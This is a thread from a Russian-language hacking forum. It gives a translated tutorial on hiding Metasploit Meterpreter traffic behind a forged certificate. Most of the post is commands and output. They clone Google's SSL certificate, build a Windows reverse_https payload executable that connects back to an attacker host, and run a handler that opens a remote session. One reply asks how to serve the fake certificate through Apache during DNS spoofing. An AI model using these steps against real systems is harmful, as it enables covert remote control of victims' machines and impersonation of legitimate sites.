Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Уязвимости (https://forum.antichat.xyz/forumdisplay.php?f=74)
-   -   Meterpreter SSL использование сертификата (перевод) (https://forum.antichat.xyz/showthread.php?t=426930)

grimnir 22.06.2015 12:25

Хочу поделиться с вами простым способом защты вашего подключения через Meterpreter через проверку сертификата.

Начнем с генерации сертификата в формате PEM. Огромная благодарность за модуль impersonate_ssl ,созданый Chris John Riley ,который позволяет сгенерировать сертификат на основе информации с сайта, используя параметр RHOSTв модуле.Это позволяет создать сертификат, который выглядит полностью легитимным.Приведу пример ,я буду использовать Googles SSL чтобы создать мой фейковый

Код:

Code:
msf > use auxiliary/gather/impersonate_ssl
msf auxiliary(impersonate_ssl) > set RHOST www.google.com
RHOST => www.google.com
msf auxiliary(impersonate_ssl) > run
[*] Connecting to www.google.com:443[*] Copying certificate from www.google.com:443
/C=US/ST=California/L=Mountain View/O=Google Inc/CN=google.com[*] Beginning export of certificate files[*] Creating looted key/crt/pem files for www.google.com:443
[+] key: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_k_189227.key
[+] crt: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_c_767214.crt
[+] pem: /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem[*] Auxiliary module execution completed
msf auxiliary(impersonate_ssl) >

После создания сертификата я могу создать HTTP или HTTPS payload и указать ему путь до сертификата в PEM формате ,который будет использован для проверки соединения. Для этого установим параметр stagerverifysslcert в true а в параметре HANDLERSSLCERTукажем путь до сертификата:

Код:

Code:
msf > use payload/windows/meterpreter/reverse_http
msf payload(reverse_http) > set stagerverifysslcert true
stagerverifysslcert => true
msf payload(reverse_http) > use payload/windows/meterpreter/reverse_https
msf payload(reverse_https) > set stagerverifysslcert true
stagerverifysslcert => true
msf payload(reverse_https) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
msf payload(reverse_https) > set LHOST 192.168.1.211
LHOST => 192.168.1.211
msf payload(reverse_https) > set LPORT 8081
LPORT => 8081
msf payload(reverse_https) > generate -t exe -f /tmp/payload1.exe[*] Writing 73802 bytes to /tmp/payload1.exe...

После создания exe мне нужно создать соединение и снова я использую ,как в примере выше,PEM сертификат.Так что соединение использует SHA1 хэш для проверки подлинности. Снова укажем в параметре HANDLERSSLCERTпуть до сертификата ,а параметр stagerverifysslcert установим в true:

Код:

Code:
msf payload(reverse_https) > use exploit/multi/handler
msf exploit(handler) > set LHOST 192.168.1.211
LHOST => 192.168.1.211
msf exploit(handler) > set LPORT 8081
LPORT => 8081
msf exploit(handler) > set HANDLERSSLCERT /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
HANDLERSSLCERT => /home/carlos/.msf4/loot/20150611074516_default_24.41.214.170_www.google.com_p_507862.pem
msf exploit(handler) > set stagerverifysslcert true
stagerverifysslcert => true
msf exploit(handler) > exploit -j
[*] Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884[*] Exploit running as background job.

После запуска пейлода на удаленой системе, мы увидим вертифицированую проверку сессии

Код:

Code:
msf exploit(handler) >[*] Starting the payload handler...[*] 192.168.1.104:56107 (UUID: db09abc1d1831687/x86=1/windows=1/2015-06-11T12:28:50Z) Staging Native payload ...[*] Meterpreter will verify SSL Certificate with SHA1 hash 5fefcc6cae228b92002a6d168c5a78d495d8c884[*] Meterpreter session 1 opened (192.168.1.211:8081 -> 192.168.1.104:56107) at 2015-06-11 08:28:51 -0400

http://www.darkoperator.com/blog/201...ate-validation

BabaDook 24.06.2015 02:50

Очень годно.

charmingdate 08.03.2017 06:53

а как встроить в apache фейковый сертификат, чтоб при подмене dns он был валидным?

Bilyak 09.03.2017 17:49

полензная инфа.

Mister_Bert0ni 06.04.2017 13:47

Дополню видосом на эту тему:


Время: 11:21